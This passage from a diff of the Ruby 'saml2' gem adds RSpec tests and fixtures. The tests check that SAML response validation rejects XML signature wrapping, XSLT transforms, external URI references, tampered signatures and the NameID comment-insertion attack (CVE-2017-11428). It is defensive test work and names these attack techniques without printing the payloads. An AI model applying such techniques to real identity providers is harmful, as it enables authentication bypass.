OaBeQ2igGyQfJA5R2OymaG9RqehGFdVEFbPC4OFwO1byUoGII9tReSKqtlemaEamgDLoYnnGVjFQ4/0EX4Ax2SjKNqwt+TgQykixfoo4GmCeFSSZnkoOEHUUWRDLqKK40AySnO8qA38g7fL+calsjqIcefy5Z5X1uybcFuif4IRvB6FpOMTPNj507cpCuqZw/sujVO+I00XD9VwuPT6TH9WerJp4Ye8J4HynADKsg6oJd61cqvQn33seNLIB/uA2U2uK/EY5c7m3I2VDgBDODbNZTng==</ds:X509Certificate>
|
37
|
+
</ds:X509Data>
|
38
|
+
</ds:KeyInfo>
|
39
|
+
</ds:Signature>
|
40
|
+
<saml:Subject>
|
41
|
+
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.com</saml:NameID>
|
42
|
+
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
|
43
|
+
<saml:SubjectConfirmationData NotOnOrAfter="2014-06-03T12:46:56Z" Recipient=""/>
|
44
|
+
</saml:SubjectConfirmation>
|
45
|
+
</saml:Subject>
|
46
|
+
<saml:Conditions NotBefore="2014-06-03T12:40:56Z" NotOnOrAfter="2014-06-03T12:46:56Z">
|
47
|
+
<saml:AudienceRestriction>
|
48
|
+
<saml:Audience/>
|
49
|
+
</saml:AudienceRestriction>
|
50
|
+
</saml:Conditions>
|
51
|
+
<saml:AuthnStatement AuthnInstant="2014-06-03T12:43:55Z" SessionNotOnOrAfter="2014-06-04T12:43:56Z" SessionIndex="_c01bb660-cd47-0131-de03-782bcb56fcaa">
|
52
|
+
<saml:AuthnContext>
|
53
|
+
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
|
54
|
+
</saml:AuthnContext>
|
55
|
+
</saml:AuthnStatement>
|
56
|
+
</saml:Assertion>
|
57
|
+
</samlp:Response>
|
data/spec/lib/attribute_spec.rb
CHANGED
@@ -94,4 +94,21 @@ XML
|
|
94
94
|
end
|
95
95
|
|
96
96
|
end
|
97
|
+
|
98
|
+
describe AttributeStatement do
|
99
|
+
describe "#to_h" do
|
100
|
+
it "works" do
|
101
|
+
attr_statement = Response.parse(fixture("response_with_attribute_signed.xml")).assertions.first.attribute_statements.first
|
102
|
+
expect(attr_statement.to_h).to eq('givenName' => 'cody')
|
103
|
+
expect(attr_statement.to_h(:name)).to eq("urn:oid:2.5.4.42" => 'cody')
|
104
|
+
end
|
105
|
+
|
106
|
+
it "infers friendly names if possible" do
|
107
|
+
attr_statement = Response.parse(fixture("test3-response.xml")).assertions.first.attribute_statements.first
|
108
|
+
expect(attr_statement.to_h).to eq({
|
109
|
+
'eduPersonAffiliation' => 'member',
|
110
|
+
'eduPersonPrincipalName' => 'student@example.edu'})
|
111
|
+
end
|
112
|
+
end
|
113
|
+
end
|
97
114
|
end
|
data/spec/lib/conditions_spec.rb
CHANGED
@@ -6,10 +6,10 @@ module SAML2
|
|
6
6
|
expect(Conditions.new.valid?).to eq true
|
7
7
|
end
|
8
8
|
|
9
|
-
it "should be
|
9
|
+
it "should be invalid with unknown condition" do
|
10
10
|
conditions = Conditions.new
|
11
11
|
conditions << Conditions::Condition.new
|
12
|
-
expect(conditions.valid?).to eq
|
12
|
+
expect(conditions.valid?).to eq false
|
13
13
|
end
|
14
14
|
|
15
15
|
it "should be valid with timestamps" do
|
data/spec/lib/response_spec.rb
CHANGED
@@ -2,7 +2,8 @@ require_relative '../spec_helper'
|
|
2
2
|
|
3
3
|
module SAML2
|
4
4
|
describe Response do
|
5
|
-
let(:
|
5
|
+
let(:sp_entity) { Entity.parse(fixture('service_provider.xml')) }
|
6
|
+
let(:sp) { sp_entity.roles.first }
|
6
7
|
|
7
8
|
let(:request) do
|
8
9
|
request = AuthnRequest.parse(fixture('authnrequest.xml'))
|
@@ -63,5 +64,213 @@ module SAML2
|
|
63
64
|
expect(response2.assertions.length).to eq 1
|
64
65
|
expect(response2.assertions.first.subject.name_id.id).to eq 'jacob'
|
65
66
|
end
|
67
|
+
|
68
|
+
it "doesn't validate a response with XSLT transforms" do
|
69
|
+
response = Response.parse(fixture("xslt-transform-response.xml"))
|
70
|
+
expect(response).to be_valid_schema
|
71
|
+
expect(response.assertions.first.valid_signature?(fingerprint: 'bc71f7bacb36011694405dd0e2beafcc069de45f')).to eq false
|
72
|
+
end
|
73
|
+
|
74
|
+
it "doesn't validate a response with external URI reference in the signature" do
|
75
|
+
response = Response.parse(fixture("external-uri-reference-response.xml"))
|
76
|
+
expect(response).to be_valid_schema
|
77
|
+
expect(response.assertions.first.valid_signature?(fingerprint: 'bc71f7bacb36011694405dd0e2beafcc069de45f')).to eq false
|
78
|
+
end
|
79
|
+
|
80
|
+
it "can decrypt an EncryptedAssertion" do
|
81
|
+
# verifiable on the command line with:
|
82
|
+
# xmlsec1 decrypt --privkey-pem privatekey.key response_with_encrypted_assertion.xml
|
83
|
+
response = Response.parse(fixture("response_with_encrypted_assertion.xml"))
|
84
|
+
expect(response.decrypt(fixture("privatekey.key"))).to eq true
|
85
|
+
expect(response.assertions.length).to eq 1
|
86
|
+
expect(response.assertions.first.subject.name_id.id).to eq 'jacob'
|
87
|
+
end
|
88
|
+
|
89
|
+
it "allows non-ascii characters in attributes" do
|
90
|
+
response = Response.parse(fixture("test6-response.xml"))
|
91
|
+
|
92
|
+
attributes = response.assertions.first.attribute_statements.first.to_h
|
93
|
+
expect(attributes['eduPersonAffiliation']).to eq 'member'
|
94
|
+
expect(attributes['givenName']).to eq 'Canvas'
|
95
|
+
expect(attributes['displayName']).to eq 'Canvas Üser'
|
96
|
+
end
|
97
|
+
|
98
|
+
# see CVE-2017-11428
|
99
|
+
it "returns the full content of the NameID, even if a comment-insertion attack allows it to still validate the signature" do
|
100
|
+
response = Response.parse(fixture("test7-response.xml"))
|
101
|
+
# this file is a copy of test6-response.xml, with a comment inserted into the NameID
|
102
|
+
|
103
|
+
# the signature is still valid (we have to set a weird verification time because the response
|
104
|
+
# was signed with an expired signature)
|
105
|
+
expect(response.validate_signature(fingerprint: 'afe71c28ef740bc87425be13a2263d37971da1f9',
|
106
|
+
verification_time: Time.parse("2007-07-14 12:01:34Z"))).to eq []
|
107
|
+
|
108
|
+
# the comment is ignored, but doesn't truncate the nameid
|
109
|
+
expect(response.assertions.first.subject.name_id.id).to eq 'testuser@example.com'
|
110
|
+
end
|
111
|
+
|
112
|
+
describe "#validate" do
|
113
|
+
let (:idp_entity) do
|
114
|
+
idp_entity = Entity.new("issuer")
|
115
|
+
idp = IdentityProvider.new
|
116
|
+
idp.keys << KeyDescriptor.new(fixture("certificate.pem"))
|
117
|
+
idp_entity.roles << idp
|
118
|
+
|
119
|
+
idp_entity
|
120
|
+
end
|
121
|
+
|
122
|
+
before do
|
123
|
+
sp.private_keys << OpenSSL::PKey::RSA.new(fixture("privatekey.key"))
|
124
|
+
end
|
125
|
+
|
126
|
+
it "succeeds" do
|
127
|
+
response = Response.parse(fixture("response_signed.xml"))
|
128
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
129
|
+
expect(response.errors).to eq []
|
130
|
+
end
|
131
|
+
|
132
|
+
it "checks the issuer" do
|
133
|
+
response = Response.parse(fixture("response_signed.xml"))
|
134
|
+
idp_entity.entity_id = 'someoneelse'
|
135
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
136
|
+
expect(response.errors).to eq ["received unexpected message from 'issuer'; expected it to be from 'someoneelse'"]
|
137
|
+
end
|
138
|
+
|
139
|
+
it "complains about old message" do
|
140
|
+
response = Response.parse(fixture("response_signed.xml"))
|
141
|
+
sp_entity.valid_response?(response, idp_entity)
|
142
|
+
expect(response.errors.length).to eq 1
|
143
|
+
expect(response.errors.first).to match (/not_on_or_after .* is earlier than/)
|
144
|
+
end
|
145
|
+
|
146
|
+
it "complains about mismatched audience restriction" do
|
147
|
+
response = Response.parse(fixture("response_signed.xml"))
|
148
|
+
sp_entity.entity_id = 'someoneelse'
|
149
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
150
|
+
expect(response.errors).to eq ["audience someoneelse not in allowed list of http://siteadmin.instructure.com/saml2"]
|
151
|
+
end
|
152
|
+
|
153
|
+
it "complains about no signature" do
|
154
|
+
response = Response.parse(fixture("response_with_encrypted_assertion.xml"))
|
155
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
156
|
+
expect(response.errors).to eq ["neither response nor assertion were signed"]
|
157
|
+
end
|
158
|
+
|
159
|
+
it "complains if the signature has been tampered with" do
|
160
|
+
response = Response.parse(fixture("response_tampered_signature.xml"))
|
161
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
162
|
+
expect(response.errors).to eq ["signature is invalid"]
|
163
|
+
end
|
164
|
+
|
165
|
+
it "complains if the trusted certificate isn't what signed the response" do
|
166
|
+
idp_entity.identity_providers.first.keys.clear
|
167
|
+
idp_entity.identity_providers.first.fingerprints << "afe71c28ef740bc87425be13a2263d37971da1f9"
|
168
|
+
|
169
|
+
response = Response.parse(fixture("response_tampered_certificate.xml"))
|
170
|
+
sp_entity.valid_response?(response, idp_entity,
|
171
|
+
verification_time: Time.parse('2015-02-12T22:51:30Z'),
|
172
|
+
allow_expired_certificate: true)
|
173
|
+
expect(response.errors).to eq ["signature is invalid"]
|
174
|
+
end
|
175
|
+
|
176
|
+
it "complains when we don't have any trusted keys" do
|
177
|
+
response = Response.parse(fixture("response_signed.xml"))
|
178
|
+
idp_entity.identity_providers.first.keys.clear
|
179
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
180
|
+
expect(response.errors).to eq ["could not find certificate to validate message"]
|
181
|
+
end
|
182
|
+
|
183
|
+
it "complains about a valid signature we don't trust" do
|
184
|
+
response = Response.parse(fixture("response_signed.xml"))
|
185
|
+
idp_entity.identity_providers.first.keys.clear
|
186
|
+
idp_entity.identity_providers.first.keys << KeyDescriptor.new(fixture("othercertificate.pem"))
|
187
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
188
|
+
expect(response.errors.length).to eq 1
|
189
|
+
expect(response.errors.first).to start_with('error occurred during signature verification')
|
190
|
+
end
|
191
|
+
|
192
|
+
it "validates signature by fingerprint" do
|
193
|
+
response = Response.parse(fixture("response_signed.xml"))
|
194
|
+
idp_entity.identity_providers.first.keys.clear
|
195
|
+
idp_entity.identity_providers.first.fingerprints << "1c:37:7d:30:c1:83:18:ea:20:8b:dc:d5:35:b6:16:85:17:58:f7:c9"
|
196
|
+
|
197
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
198
|
+
expect(response.errors).to eq []
|
199
|
+
end
|
200
|
+
|
201
|
+
it "complains when we don't have any trusted fingerprints" do
|
202
|
+
response = Response.parse(fixture("response_signed.xml"))
|
203
|
+
idp_entity.identity_providers.first.keys.clear
|
204
|
+
idp_entity.identity_providers.first.fingerprints << "1c:37:7d:30:c1:83:18:ea:20:8b:dc:d5:35:b6:16:85:17:58:f7:ca"
|
205
|
+
|
206
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
207
|
+
expect(response.errors).to eq ["no trusted certificate found"]
|
208
|
+
end
|
209
|
+
|
210
|
+
it "protects against xml signature wrapping attacks targeting nameid" do
|
211
|
+
response = Response.parse(fixture("xml_signature_wrapping_attack_response_nameid.xml"))
|
212
|
+
idp_entity.identity_providers.first.keys.clear
|
213
|
+
idp_entity.identity_providers.first.fingerprints << "afe71c28ef740bc87425be13a2263d37971da1f9"
|
214
|
+
|
215
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2012-08-03T20:07:16Z'))
|
216
|
+
expect(response.errors.length).to eq 1
|
217
|
+
expect(response.errors.first.to_s).to eq "5:0: ERROR: Element '{urn:oasis:names:tc:SAML:2.0:assertion}Assertion': This element is not expected. Expected is one of ( {http://www.w3.org/2000/09/xmldsig#}Signature, {urn:oasis:names:tc:SAML:2.0:protocol}Extensions, {urn:oasis:names:tc:SAML:2.0:protocol}Status )."
|
218
|
+
end
|
219
|
+
|
220
|
+
it "protects against xml signature wrapping attacks targeting attributes" do
|
221
|
+
response = Response.parse(fixture("xml_signature_wrapping_attack_response_attributes.xml"))
|
222
|
+
idp_entity.identity_providers.first.keys.clear
|
223
|
+
idp_entity.identity_providers.first.fingerprints << "afe71c28ef740bc87425be13a2263d37971da1f9"
|
224
|
+
|
225
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2012-08-03T20:07:16Z'))
|
226
|
+
expect(response.errors.length).to eq 1
|
227
|
+
expect(response.errors.first.to_s).to eq "30:0: ERROR: Element '{urn:oasis:names:tc:SAML:2.0:assertion}Subject': This element is not expected."
|
228
|
+
end
|
229
|
+
|
230
|
+
it "protects against xml signature wrapping attacks with duplicate IDs" do
|
231
|
+
response = Response.parse(fixture("xml_signature_wrapping_attack_duplicate_ids.xml"))
|
232
|
+
idp_entity.identity_providers.first.keys.clear
|
233
|
+
idp_entity.identity_providers.first.fingerprints << "7292914fc5bffa6f3fe1e43fd47c205395fecfa2"
|
234
|
+
|
235
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2014-02-01T13:48:10.831Z'))
|
236
|
+
expect(response.errors.length).to eq 1
|
237
|
+
expect(response.errors.first.to_s).to eq "1:0: ERROR: Element '{urn:oasis:names:tc:SAML:2.0:assertion}Assertion', attribute 'ID': 'pfx77d6c794-8295-f1c4-298e-c25ecae8046d' is not a valid value of the atomic type 'xs:ID'."
|
238
|
+
end
|
239
|
+
|
240
|
+
it "protects against additional mis-signed assertions" do
|
241
|
+
response = Response.parse(fixture("xml_missigned_assertion.xml"))
|
242
|
+
idp_entity.identity_providers.first.keys.clear
|
243
|
+
idp_entity.identity_providers.first.fingerprints << "c38e789fcfbbd4727bd8ff7fc365b44fc3596bda"
|
244
|
+
|
245
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-27T19:12:52Z'))
|
246
|
+
expect(response.errors.map(&:to_s)).to eq ["2:0: ERROR: Element '{http://www.w3.org/2000/09/xmldsig#}Signature': This element is not expected.",
|
247
|
+
"43:0: ERROR: Element '{http://www.w3.org/2000/09/xmldsig#}Signature': This element is not expected."]
|
248
|
+
end
|
249
|
+
|
250
|
+
it "errors on expired certificate" do
|
251
|
+
response = Response.parse(fixture("test6-response.xml"))
|
252
|
+
idp_entity.entity_id = 'http://simplesamlphp.dev/simplesaml/saml2/idp/metadata.php'
|
253
|
+
idp_entity.identity_providers.first.keys.clear
|
254
|
+
idp_entity.identity_providers.first.fingerprints << "afe71c28ef740bc87425be13a2263d37971da1f9"
|
255
|
+
|
256
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse("2012-08-03T20:07:15Z"))
|
257
|
+
expect(response.errors.length).to eq 1
|
258
|
+
expect(response.errors.first).to match(/certificate has expired/)
|
259
|
+
end
|
260
|
+
|
261
|
+
it "ignores expired certificate when requested" do
|
262
|
+
response = Response.parse(fixture("test6-response.xml"))
|
263
|
+
sp_entity.entity_id = 'http://shard-2.canvas.dev/saml2'
|
264
|
+
idp_entity.entity_id = 'http://simplesamlphp.dev/simplesaml/saml2/idp/metadata.php'
|
265
|
+
idp_entity.identity_providers.first.keys.clear
|
266
|
+
idp_entity.identity_providers.first.fingerprints << "afe71c28ef740bc87425be13a2263d37971da1f9"
|
267
|
+
|
268
|
+
sp_entity.valid_response?(response, idp_entity,
|
269
|
+
verification_time: Time.parse("2014-09-16T22:15:53Z"),
|
270
|
+
allow_expired_certificate: true)
|
271
|
+
expect(response.errors).to eq []
|
272
|
+
end
|
273
|
+
|
274
|
+
end
|
66
275
|
end
|
67
276
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: saml2
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 2.
|
4
|
+
version: 2.2.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Cody Cutrer
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2018-
|
11
|
+
date: 2018-04-04 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: nokogiri
|
@@ -184,11 +184,24 @@ files:
|
|
184
184
|
- spec/fixtures/authnrequest.xml
|
185
185
|
- spec/fixtures/certificate.pem
|
186
186
|
- spec/fixtures/entities.xml
|
187
|
+
- spec/fixtures/external-uri-reference-response.xml
|
187
188
|
- spec/fixtures/identity_provider.xml
|
189
|
+
- spec/fixtures/othercertificate.pem
|
188
190
|
- spec/fixtures/privatekey.key
|
189
191
|
- spec/fixtures/response_signed.xml
|
192
|
+
- spec/fixtures/response_tampered_certificate.xml
|
193
|
+
- spec/fixtures/response_tampered_signature.xml
|
190
194
|
- spec/fixtures/response_with_attribute_signed.xml
|
195
|
+
- spec/fixtures/response_with_encrypted_assertion.xml
|
191
196
|
- spec/fixtures/service_provider.xml
|
197
|
+
- spec/fixtures/test3-response.xml
|
198
|
+
- spec/fixtures/test6-response.xml
|
199
|
+
- spec/fixtures/test7-response.xml
|
200
|
+
- spec/fixtures/xml_missigned_assertion.xml
|
201
|
+
- spec/fixtures/xml_signature_wrapping_attack_duplicate_ids.xml
|
202
|
+
- spec/fixtures/xml_signature_wrapping_attack_response_attributes.xml
|
203
|
+
- spec/fixtures/xml_signature_wrapping_attack_response_nameid.xml
|
204
|
+
- spec/fixtures/xslt-transform-response.xml
|
192
205
|
- spec/lib/attribute_consuming_service_spec.rb
|
193
206
|
- spec/lib/attribute_spec.rb
|
194
207
|
- spec/lib/authn_request_spec.rb
|
@@ -242,12 +255,25 @@ test_files:
|
|
242
255
|
- spec/lib/service_provider_spec.rb
|
243
256
|
- spec/lib/identity_provider_spec.rb
|
244
257
|
- spec/lib/authn_request_spec.rb
|
258
|
+
- spec/fixtures/test3-response.xml
|
245
259
|
- spec/fixtures/service_provider.xml
|
246
260
|
- spec/fixtures/response_with_attribute_signed.xml
|
247
261
|
- spec/fixtures/response_signed.xml
|
262
|
+
- spec/fixtures/xml_signature_wrapping_attack_response_nameid.xml
|
263
|
+
- spec/fixtures/response_tampered_signature.xml
|
264
|
+
- spec/fixtures/xml_missigned_assertion.xml
|
248
265
|
- spec/fixtures/certificate.pem
|
249
266
|
- spec/fixtures/entities.xml
|
267
|
+
- spec/fixtures/xml_signature_wrapping_attack_duplicate_ids.xml
|
268
|
+
- spec/fixtures/othercertificate.pem
|
269
|
+
- spec/fixtures/xslt-transform-response.xml
|
270
|
+
- spec/fixtures/response_with_encrypted_assertion.xml
|
271
|
+
- spec/fixtures/external-uri-reference-response.xml
|
250
272
|
- spec/fixtures/authnrequest.xml
|
273
|
+
- spec/fixtures/xml_signature_wrapping_attack_response_attributes.xml
|
251
274
|
- spec/fixtures/FederationMetadata.xml
|
252
275
|
- spec/fixtures/identity_provider.xml
|
276
|
+
- spec/fixtures/response_tampered_certificate.xml
|
277
|
+
- spec/fixtures/test7-response.xml
|
278
|
+
- spec/fixtures/test6-response.xml
|
253
279
|
- spec/fixtures/privatekey.key
|